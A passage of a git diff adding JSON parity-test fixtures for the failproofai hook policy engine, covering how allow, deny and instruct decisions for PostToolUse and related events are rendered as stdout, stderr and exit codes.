"PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..6896d8a8 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..99e0a534 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..1feaa35c --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..90dfc6db --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..e1cbdaec --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..5f16f959 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..ae428011 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..1196945b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..73e0ab1f --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..5953bb8f --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..7268c76b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..e955b0a9 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..1e129888 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..9eebc477 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..b5c3aa4c --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..e8b363c4 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..02b5e5a9 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..483d4eba --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": 